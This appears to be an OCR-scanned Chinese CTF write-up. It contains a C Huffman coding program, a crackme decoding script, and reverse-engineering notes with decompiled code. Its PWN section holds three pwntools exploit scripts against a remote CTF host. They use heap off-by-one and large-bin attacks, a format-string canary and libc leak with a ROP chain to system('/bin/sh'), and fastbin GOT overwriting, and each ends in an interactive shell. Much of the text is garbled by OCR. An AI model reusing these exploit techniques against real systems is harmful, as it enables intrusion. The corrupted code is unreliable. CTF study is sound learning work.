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I:1

0:7
5:9
{:1
j!

FHMREBRILAIMFBRELSWELAWEm AT, RERE, ARERH, FRTER, EEOIKHESHSE
DB MR B # S0, AR S TR KA.

ETHEKFHSG, BE—FREREMPH TR, BoFRNMONEER, ZERRKAKMN LA &
%, BEEA RE, SRRKHERET, R EREHZ0

WEMARBIT (FEvsHPIsTH, ZATIARBBERT N EE A BA R BN A, ZESFEY, RS T

THEHKAN) -
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 typedef int ELEMTYPE;
6
7 /] WRERG KK
8 typedef struct HuffmanTree
9 {
10 ELEMTYPE weight;
11 ELEMTYPE id; // 1dAREZRURSBEMRRLS R, XERRT TR
12 struct HuffmanTree* 1lchild;
13 struct HuffmanTree* rchild;
14 3}HuffmanNode;
15
16 // tHRRIEREN
17 HuffmanNode* createHuffmanTree(int* a, int n)
18 {
19 int i, j;
20 HuffmanNode **temp, *hufmTree;
21 temp = malloc(n*sizeof(HuffmanNode));
22 for (i = @; i<n; ++i) // BEHaBUEIR S 45 R weight
23 {
24 temp[i] = (HuffmanNode*)malloc(sizeof(HuffmanNode));
25 temp[i]->weight = a[i];
26 temp[i]->id = i;
27 temp[i]->1child = temp[i]->rchild = NULL;
28 }
29
30 for (i = 0; i<n - 1; ++i) // HEMRENFEEN-15F
31 {
32 int smalll = -1, small2; // smalll. small24yHI{E K&/ NFIRNSUE R T bR
33 for (j = @; j<n; ++3) /] BB TIRRAsmalll, small2 (GE&: SHMAUERBED)

¢



34 1

35 if (temp[j] != NULL && smalll == -1)

36 {

37 smalll = j;

38 continue;

39 }

40 else if (temp[j] !'= NULL)

41 {

42 small2 = j;

43 break;

44 }

45 }

46

a7 for (j = small2; j<n; ++3) // HBAUE, Wzhsmalllfismall2 sz 47 A B/ MR AMUE K T bs
48 {

49 if (temp[j] != NULL)

50 {

51 if (temp[j]->weight < temp[smalll]->weight)
52 {

53 small2 = smalll;

54 smalll = j;

55 }

56 else if (temp[j]->weight < temp[small2]->weight)
57 {

58 small2 = j;

59 }

60 }

61 }

62 hufmTree = (HuffmanNode*)malloc(sizeof(HuffmanNode));
63 hufmTree->weight = temp[smalll]->weight + temp[small2]->weight;
64 hufmTree->1child = temp[smalll];

65 hufmTree->rchild = temp[small2];

66

67 temp[smalll] = hufmTree;

68 temp[small2] = NULL;

69 }

70 free(temp);

71 return hufmTree;

72 }

73

74 /] VAT SCREVTE ST ENNG R 20
75 void PrintHuffmanTree(HuffmanNode* hufmTree)

76 {

77 if (hufmTree)

78 {

79 printf("%d", hufmTree->weight);

80 if (hufmTree->1child != NULL || hufmTree->rchild != NULL)
81 {

82 printf("(");

83 PrintHuffmanTree(hufmTree->1child);

84 printf(",");

85 PrintHuffmanTree(hufmTree->rchild);

86 printf(")");

87 }

88 }

89 }

90

91 // BVAMATH R BTG

92 void HuffmanCode(HuffmanNode* hufmTree, int depth) // depthms R EWERE

93 {



94 static int code[100];

95 if (hufmTree)

96 {

97 if (hufmTree->1child == NULL && hufmTree->rchild == NULL)
98 {

99 printf("idN%dBUE %K T4 SR B%5I5A ", hufmTree->id, hufmTree->weight);
100 int i;

101 for (i = 0; i<depth; ++i)

102 {

103 printf("%d", code[i]);

104 }

105 printf("\n");

106 }

107 else

108 {

109 code[depth] = ©;

110 HuffmanCode(hufmTree->1child, depth + 1);
111 code[depth] = 1;

112 HuffmanCode (hufmTree->rchild, depth + 1);
113 }

114 }

115 }

116

117 // "R 2

118 void HuffmanDecode(char ch[], HuffmanNode* hufmTree, char string[]) // chZEfEIEIe1E, string4i M
Xof L {4 ¥

119 {

120 int i;

121 int num[500];

122 HuffmanNode* tempTree = NULL;

123 for (i = @; i<strlen(ch); ++i)

124 {

125 if (ch[i] == '0")

126 num[i] = 0;

127 else

128 num[i] = 1;

129 }

130 if (hufmTree)

131 {

132 i=09; // BB EGeLE MK

133 while (i<strlen(ch))

134 {

135 tempTree = hufmTree;

136 while (tempTree->1lchild != NULL && tempTree->rchild != NULL)
137 {

138 if (num[i] == @)

139 {

140 tempTree = tempTree->1child;

141 }

142 else

143 {

144 tempTree = tempTree->rchild;

145 }

146 ++1i;

147 }

148 printf("%c", string[tempTree->id]); // R JE X RS A
149 }

150 }

151 }



152
153 int main()

154 {

155 int i, n;

156 printf("iEWMAN T EHANE: \n");

157 while (1)

158 {

159 scanf("%d", &n);

160 if (n>1)

161 break;

162 else

163 printf("HMANEIR, BEEIFWANE! ");
164 }

165

166 int* arr;

167 arr = (int*)malloc(n*sizeof (ELEMTYPE));
168 printf("ERASI N FLE EBBUE: \n", n);
169 for (i = 0; i<n; ++1i)

170 {

171 scanf("%d", &arr[i]);

172 }

173

174 char ch[500], string[500];

175 printf("HESLMAXGINHFEREBRIRRIFER: \n", n);
176 fflush(stdin); // RATIEBREF R IEE, R b N BUE 55 R i B E 5
177 gets(string);

178

179 HuffmanNode* hufmTree = NULL;

180 hufmTree = createHuffmanTree(arr, n);
181

182 printf ("B RERET LERERN: \n");
183 PrintHuffmanTree(hufmTree);

184 printf("\n&M T4 KB RERILN: \n");
185 HuffmanCode (hufmTree, 0);

186

187 printf("EAEE? EWARLD:\n");

188 gets(ch);

189 printf("EBLERA: \n");

190 HuffmanDecode(ch, hufmTree, string);
191 printf("\n");

192

193 free(arr);

194 free(hufmTree);

195

196 return 0;

197 }

e 4R
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a = cpen{z"F rrbb iSO 2019 TS\ 1504055ca752dbocbdfe  HIZC2 BFEMITILTFER \ttl.txt") .readlines(}
print{len{a)}

print{255376/3.0)

¥ printia)

B =1
[for i in a:
b.append(if4:-1])
print (k)
from collections import Counter
print (Counter (b))

sanjinzhi=*
pEint ()
print{len{sanjinzhi})
|deaf triple(a):

1 = len{a)

a = list(reversed(a))

wum = 0
| for i in zange{lenia)):

num #= int{afi])vpow(d,i)

printinus.end=" '}
eriplaf'i212°)
print (che{102))
|daf triplel (a):

1 = len{a)

a = list{reversadia))
num = 0
| for i in zange{len{a)):
s #= int{a[i])*pew(4,i)
print{chr (num) end=""}
|far i in range(0,len(samjinzhi) , 4):
triple(sanjinzhi[iti+di])
prine ()
|for i in range{l,len{=anjinzhi} ,4):
triplel (sanjinzhi[i:i#4])

HE=/ crackme

s app-debug.apk
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PWN

ﬂ 1904055ca753093f654 Storm Note.zip
28 1904055ca753896ba77 story.zip
ﬂ 1904055ca75368089%ed noinfoleak.zip

HE—f Storm Note

| Tlibe-2.23.50
0 Storm_note

BE# Fexp

1 from pwn import *

2 #p=process('./storm")

3 p=remote('ctfl.linkedbyx.com',10444) //Wit+i50
4 #port:10444

5 def add(size):

.recvuntil('Choice")

.sendline('1")

.recvuntil('?")

.sendline(str(size))

O 00 N O
T T T T

10
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11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64

def edit(idx,mes):
.recvuntil('Choice")
.sendline('2")
.recvuntil('?")
.sendline(str(idx))
.recvuntil('Content")

T T © T T T

.send(mes)

def dele(idx):

p.recvuntil('Choice")
p.sendline('3")
p.recvuntil('?")
p.sendline(str(idx))
add(ox18) #0
add(0x508) #1
add(ox18) #2
edit(1, 'h'*0x4f0 + p64(0x500)) #set fake prev_size
add(ox18) #3
add(0x508) #4
add(ox18) #5
edit(4, 'h'*0x4f0 + p64(0x500)) #set fake prev_size
add(ox18) #6
dele(1)
edit(e, 'h'*(ex18)) #off-by-one
add(0x18) #1
add(ex4d8) #7
dele(1)
dele(2) #backward consolidate
add(0x38) #1
add(0x4e8) #2
dele(4)
edit(3, 'h'*(ex18)) #off-by-one
add(0x18) #4
add(ox4d8) #8
dele(4)
dele(5) #backward consolidate
add(0x48) #4
dele(2)
add(ox4e8) #2
dele(2)

storage = @xabcd0100
fake_chunk = storage - 0x20

pl = p64(0)*2 + p64(0) + p64(exafl) #size
pl += p64(@) + p64(fake_chunk) #bk
edit(7, p1)

p2 = p64(0)*4 + p64(0) + p64(Oxdel) #size
p2 += p64(0) + p64(fake_chunk+8) #bk, for creating the "bk" of the faked chunk to avoid crashing when

unlinking from unsorted bin

65

p2 += p64(0) + p64(fake_chunk-0x18-5)  #bk_nextsize, for creating the "size" of the faked chunk, using

misalignment tricks

66
67

o

edit(8, p2)
add (0x48)

—d2a /A _rFAlLANYAN



1]
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

€Ultl(<Z,po4(Y)"5)

p.sendline('666")
p.send('\x00"'*0x30)
add(0x100-8)
add(0x200)
add(0x100)

edit(1, (p64(0x200)+p64(0x100))*32)
dele(1)

edit(@, 'a'*(0x100-8))

add(0x100)

add(ox60)

dele(1)

dele(2)

add(0x100)

add(ox60)

p.interactive()

B/ story

_ MACOSX

| story

XA UG 2 1ibeiit 52
Fexp



#!/usr/bin/env python

# coding=utf-8

from pwn import *

io = remote('ctfl.linkedbyk.com', 10195) //Mit+ixHO%
#io = process('./story")

elf = ELF('./story")

#libc = elf.libc

libc = ELF('libc6_2.23-0Qubuntul®_amd64.so')

io.recv()

__libc_start_main_got = elf.got['__libc_start_main']

payload = "%15$11x"+"AAAAAAAA" + "%11$s" + "QQQQ" + p64(__libc_start_main_got)
print payload

io.sendline(payload)

io.recvuntil("Hello ")

cannary = int(io.recvuntil('AAAAAAAA', drop = True),16)

print hex(cannary)

temp = io.recv()[0:6]

__libc_start_main_addr = u64(temp+p8(0)*2)

libc_base = __libc_start_main_addr - libc.symbols['__libc_start_main']
print hex(__libc_start_main_addr)

#one_gadgets = libc_base + 0xf1147

system_addr = libc_base + libc.symbols['system']

bin_sh = libc_base + libc.search('/bin/sh').next()

#get one_gadgetA

print "get_addr = " + hex(__libc_start_main_addr)

#print "one_gadgets = "+ hex(one_gadgets)

print "get_got = " + hex(__libc_start_main_got)

print "cannay= " + hex(cannary)

print "system_addr=" + hex(system_addr)

print "bin_sh=" + hex(bin_sh)

pop_rdi = ©x0000000000400bd3

#gdb.attach(io)

payload = '"A'*136 + p64(cannary) * 2 + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
#payload = 'A'*136 + p64(cannary) * 2 + p64(one_gadgets)

print hex(cannary)
Size = len(payload)+1

print "size = " + str(Size)
io.sendline(str(len(payload)))
#gdb.attach(io)

print io.recv()
io.sendline(payload)

io.interactive()

B = noinfoleak

| | noinfoleak

exp

1 from pwn import *

2 #p=process("'./noinfoleak")

3 libc = ELF('./libc-2.23.s0")

4 p=remote('ctfl.linkedbyx.com',10426) //Mit+%5H
5 def add(size,mes):
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10
11
12
13
14
15
16
17
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23
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26
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32
33
34
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54
55
56
57
58
59
60
61
62

.recvuntil('>")
.sendline('1")
.recvuntil('>")
.sendline(str(size))
.recvuntil('>")

T T © T T T

.send(mes)

def dele(idx):
.recvuntil('>")
.sendline('2")
.recvuntil('>")
.sendline(str(idx))
def edit(idx,mes):
.recvuntil('>")
.sendline('3")
.recvuntil('>")
.sendline(str(idx))
.recvuntil('>")

T T T ©

T T © T T T

.send(mes)

add(0x60,p64(0x71)*4)
add(0x60,p64(0x71)*4)
add(0x60,p64(0x71)*4)

dele(0)

dele(1)

edit(1,'\x10")

add(0x60,p64(0x71)*4)
add(0x60,p64(0x71)*4)

add(0x50, 'aaa')

add (x50, 'bbb")
edit(0,p64(0)+p64(0xdl))

dele(4)

a = ox46# int(raw_input("a"),16)
edit(0,p64(0)+p64(0x71)+"'\x5d" ' +chr(a))
dele(1)

dele(2)

edit(2,'\x10")

add(ex60, 'a')

add(0x60, '\x00")

add(ox60, '\x00")

dele(5)

dele(6)

edit(6,p64(0x601120))

add (x50, ' /bin/sh\xe0")

add(0x50, '\x20")
edit(9,p64(0xfbad3c80)+p64(0)*3+p8(0))
p.send(‘'\n")

p.recv(24)

addr = u64(p.recv(6).1ljust(8,  '\x00"))

libc_base = addr - (0x7fb4e88cf6e0-0x7fb4e850c000)

info("libc:0x%x",libc_base)

system = libc_base+libc.symbols['system']

edit (11, p64(0x601018))
edit(9,p64(system))
dele(10)

p.interactive()
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28 1904055ca752e6ae1c5 easyCpp.zip
28 1904055ca752e53214 Junk Instruction.zip
ﬂ 1904055ca752e746df2 Testre.zip

FE— easyCpp

_ MACOSX
| ] easyCpp

int init proc{)
{
void *uB; F/f raxz@il

uld = & qmon_start__ ;
if ( & gmon_start__ )
LODWORD(vB) = _gmon_start_ ();

return {unsigned _ inté64)ud;

signed int _do_global_dtors_aux()
{

signed int result; // eax@?

if { fcompleted 7631 )

{
result = deregister_tm clones{};
completed 7631 = 1;

¥

return result;

inthh usercalfl std::aceumulated  gnu_exx::_ normal_iterator<int = std::vectordint std:allocator{intd>>

int =uSy ff raxia
int vi; #f ebxB3
_intal result; £ rasin

intah vB; £7 rocid
G w8 #f [sprOh] [bp-7Eh]E
__intés v10; /f [=peBh] [bp-68h]E1
_intés w1 S [spe18h] [bp-donh]En
__intéh w25 SF |- SAh)E
char wid; AF [=  [cx]
char wilk; #f [spsaion] [bp &3
__inuves was; £f [speSER] [bp-18N0]ET

vz = ad;

Uil =

il = a1;

Ul = a2

wih = FP(__FS_ ., WbLL);

while { (unsigred  intB)_ gou_exx::eperatorf=<int = std::veetor<int,std: :allocator<int3>3{Ru11, &ui0) }

LODWORD{VS) = _ gnu_exxz:_ normal_iterator{int = std:ivector{int, std::allocator<int>>>:operators{Buii);
(T H
sbd:svector<int ,std: ;allocator<int>>:zvector(Buid, uwid;
main::{lambda({std;: ;vectordint ,std:zallocator<inks> Ank )82} :;eperator() consk(
{__intéh)hois,
{__intdh)kas,
{__intéh)ka13,
0 H
std:ivector<int,std: iallocator{intd>:operator=(ul, &uih);
st ivector int,std: tallocator{intd>: veetor{{__intah)&uin);
st ivector{int,std: tallocator (intd: rveetor{{_ intah)&uia);
__gnu_cxx:z:__normal_lterator{int «,std:ivectorddnt,std:zallocator{dntsss: operatorss(Buil, Buin);

swector<int, std: rallocator(inta ivector{uiz, vi);
t o= y12;

Ul = sMK_FP(__FS__, mOLL) ™ wvis;

return resull

#Std



_int64  fastcall std::vector<int,std::allocator<int>>::operator=

_intéh v2; ff ST28 861
__intod v3; // rax@l
__int6d result; // raxz@i
__int6d v5s; fF roz@d

=MK_FP{_FS_, uBLL};

std: :move<std: :vector<{int,std::allocator<int>> &>{a2);
std::vector<int,std::allocator<int>>:: M move assign{ai, vid};
result = ai;

us = =HK_FP{_FS_, 4BLL) ~ vZ;

return recult;

FIIDAFTIF, iR, RKIFBREMNLHNZHR

S A B R — A

- R RIER, BT
BUREAR— N ERTREII 1235 ... 987, WLIEMA
-377

-61@

-754

-843

-898

-932

-953

-966

-974

-979

-982

-984

-985

-986

-986

987

"/ Junk Instruction

[ Junk_Instruction.exe

XBEBRANEE MYk, 1 LLE KBS Bwp———>https://mp. weixin. qq. com/s/r1SyABoulRKygPmwfcUuXA

FB=/ Testre

| | ] testre

HZEMIDAITIF, FoEERH, EERMREHOT, BRI THERX


https://mp.weixin.qq.com/s/rlSyABoulRKygPmwfcUuXA

no= (Qunsigned _inten)(2951AT9ISI7IS2OZEOLL = (unsigned _ IRCIZE){138 = (928 - w17} 3> 2) 33 64} 33 2) ¢ 13
wZd = (unsigned _ Entah){ lxARAARARARAARARELL = (unsigaed imtiZA)(uwiT « w2@) <C 6) 2> W) 3> §) - 1;
V1T = f__intas «)}{{char =)lud
= {({{unsigned _ intan) (295170051 TOIC2R250LL = {unsigned _ int128)(138 = (w28 = w17) ¥ 2) 2> GA) 2> 2)
+ 18) B UuFFFFFFFFFFFFFFFOLLY) ;
menset{uii, B, n);
uFE = wif;
iR = n = 13

ETHRXANE, FREFREMHEERE

while { vz € w28 )

w21 = w{ BYTE =){v25 « v20);
for ( J=n-1; 5 --1)
{
il = 1;
if { j <= vig )
vl = w21 t= B;
if ( tuln )
break;
w22 = #({_BYTE =)uil + §) << 6;
u21 = w{{ BYTE =)uil + j) << 8;
LR T'H
={{_BYTE #=)ui1 + j) = v2i1 % 58;
#{(_BYTE #)u26 + j) = v2? & Bx3F;
w22 3= 63
v21 f= 58;
w2t f= w93
if ( *) )
break;
¥
++y2iy
vig = j;
}
For ( § = BLL; ; ++] )
{

vl = @3
ifF { 1 <n)

uB = “{w({_BYTE =}ull + j) t= @);
if  t(ue & 1) )

break ;

¥
i ( wwa0 > onoe ui? 4 )
{

if ( w17 )

4
co= 61;
nenset{s, &9, vir);
nemset{uv2i, c, vi7);

uz2e = ul17;
while ¢ j < n )
{

uh = pii;
#((_BYTE =)s + v2@) = byte_u@BEBB[ (unsigned _ int6u)={{_BYTE =)uil + j)];
#{(_BYTE #)u26 + u2@++) = byte YOBEFA[{unsigned intah)#{{_BYTE =)ul + j++)];

H
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